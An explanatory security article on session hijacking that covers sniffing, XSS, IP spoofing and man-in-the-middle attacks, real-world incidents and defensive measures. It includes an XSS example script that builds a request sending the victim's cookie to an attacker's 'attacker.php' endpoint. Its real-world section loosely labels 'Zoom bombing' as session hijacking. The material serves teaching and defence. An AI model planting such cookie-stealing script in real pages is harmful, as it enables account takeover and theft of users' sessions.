What is Session Hijacking?

Session hijacking is a security attack on a user session over a protected network. The most common method of session hijacking is called IP spoofing, when an attacker uses source-routed IP packets to insert commands into an active communication between two nodes on a network and disguise itself as one of the authenticated users.

This type of attack is possible because authentication typically only occurs at the beginning of a TCP session. Session hijacking also includes man-in-the-middle attacks, where an attacker uses a sniffer to observe communication between devices and collect transmitted data.

Different Ways of Session Hijacking

There are several methods used to hijack sessions, each targeting different weaknesses in communication, authentication, or browser security. Understanding these techniques is important for framing effective defenses and reducing the risk of unauthorized access. Some of the ways to hijack session are :

Using Packet Sniffers

Packet sniffing is the process of intercepting traffic passing over a digital network. Tools called packet sniffers like Wireshark, tcpdump capture data packets transmitted between devices. These tools are used for ethical network scans but attackers can misuse them to extract sensitive information like usernames, passwords, and session tokens.

As in the diagram below, when the user makes a request to the web server it is intercepted by the attacker and the session ID is hacked.

Once the attacker has gained access to the session ID, they can use it to send requests that seem legitimate to the server and gain sensitive information of the user.

Cross Site Scripting (XSS Attack)

Cross-Site Scripting (XSS) is a type of web vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. These scripts typically run in the victim’s browser and can perform actions on their behalf, often without their knowledge.

XSS becomes dangerous when it’s used to steal session cookies—small pieces of data that store session identifiers. Once an attacker gets access to a user’s session ID, they can impersonate the user and hijack their session.

<SCRIPT type= "text/javascript">
var adr = '. . /attacker.php?victim_cookie=' + escape(document.cookie) ;
</SCRIPT>

How Session is Hijacking Using XSS?

XSS is used to hijack sessions by injecting a malicious js script into the site that runs in the browser, this script is used to capture session cookies and then use them to impersonate the victim. Here is a breakdown of this process:

1. An attacker finds a vulnerable website that does not properly sanitize user inputs.
2. They inject malicious JavaScript into the site, which runs in the browser of anyone who views the page.
3. The script captures the session cookie using a command like document.cookie.
4. The stolen cookie is sent to the attacker’s server.
5. The attacker uses the session ID from the cookie to impersonate the victim.

IP Spoofing

Spoofing is pretending to be someone else. This is a technique used to gain unauthorized access to the computer with an IP address of a trusted host. In implementing this technique, attacker has to obtain the IP address of the client and inject his own packets spoofed with the IP address of client into the TCP session, so as to fool the server that it is communicating with the victim i.e. the original host.

Here's how IP Spoofing works for session hijacking works:

1. Session Prediction: The attacker either guesses or steals the target’s session ID using packet sniffing, XSS, or another method.

2. Spoofing the IP Address: They then spoof the IP address of the legitimate user so that requests appear to be coming from the same source.

3. Exploiting Weak Session Controls: If the server relies on the IP address for session tracking, the attacker can bypass authentication and hijack the session.

4. Sending Malicious Requests: The attacker uses the hijacked session to perform unauthorized actions.

Man in the Middle (MITM) Attacks

In a MITM attack, the attacker intercepts communication between the user and the server to steal session data or modify traffic.

The attacker places themselves between the client and server on a network to capture or alter requests/responses, including session tokens. This allows full access to the user’s session.

Read More: What is Man in the Middle (MITM) Attack?

Real-World Cases of Session Hijacking

Session hijacking is very commonly used by attacker to carry out unethical activities over the internet. One of the most famous cases was during the COVID-19 pandemic, when platforms like Zoom was impacted by session hijacking incidents, it was named “Zoom bombing,” where attackers exploited insecure meeting settings to intercept private video calls and disrupting them.

Similarly, in 2019, Slack faced a critical vulnerability that allowed attackers to redirect users and steal session cookies, letting them access sensitive account data, the issue was then fixed within 24 hours of discovery.

In 2017, GitLab also faced a serious flaw in its session management system, where session tokens were exposed in URLs and did not expire, which made them vulnerable to brute force attacks.

How to Prevent Session Hijacking?

To defend a network with session hijacking, a defender has to implement several security measures and stay informed. Enforcing HTTPS, applying session management techniques, keeping strong authentication and educating employees are some of the major steps:

1. Enforce HTTPS and Enable HSTS

Encrypting all communication between clients and servers using HTTPS is essential to prevent attackers from intercepting session IDs. Enabling HTTP Strict Transport Security (HSTS) ensures browsers always use HTTPS, blocking downgrade attacks and enhancing protection against threats like packet sniffing and man-in-the-browser attacks.

2. Apply Session Management Techniques

Generate session IDs that are long, random, and generated using secure cryptographic methods. Set expiration times and regenerate session IDs after key events, such as user login, to reduce the risk of fixation.

3. Enable Secure and HttpOnly Flags on Cookies

Use the Secure flag to ensure cookies are only sent over HTTPS connections and apply the HttpOnly flag to prevent client-side scripts from accessing session cookies.

4. Use Strong Authentication Mechanisms

Implement multi-factor authentication (MFA) to add an extra layer of security. Even if a session is hijacked, MFA makes it difficult for the attacker to fully access the account.

5. Educate Users and Strengthen Client-Side Defenses

Raise user awareness about safe practices, such as avoiding public Wi-Fi for sensitive activities, logging out after use, and recognizing signs of suspicious activity. Encourage VPN use when accessing corporate resources remotely.

Conclusion

Session hijacking is a huge threat to online security by exploiting vulnerabilities in session managements. Whether through IP spoofing, cross-site scripting (XSS), man-in-the-middle (MITM) attacks, or packet sniffing, attackers can gain unauthorized access to active sessions and impersonate legitimate users. These methods can lead to data theft, unauthorized transactions, and system compromise. Real-world incidents like Zoom bombing, Slack’s session cookie theft, and GitLab’s persistent token flaw shows how damaging such attacks can be. However, with defenses such as enforcing HTTPS and HSTS, securing cookies, implementing strong session management, using multi-factor authentication, and educating users, organizations can reduce the risk of session hijacking and protect sensitive data from unauthorized access.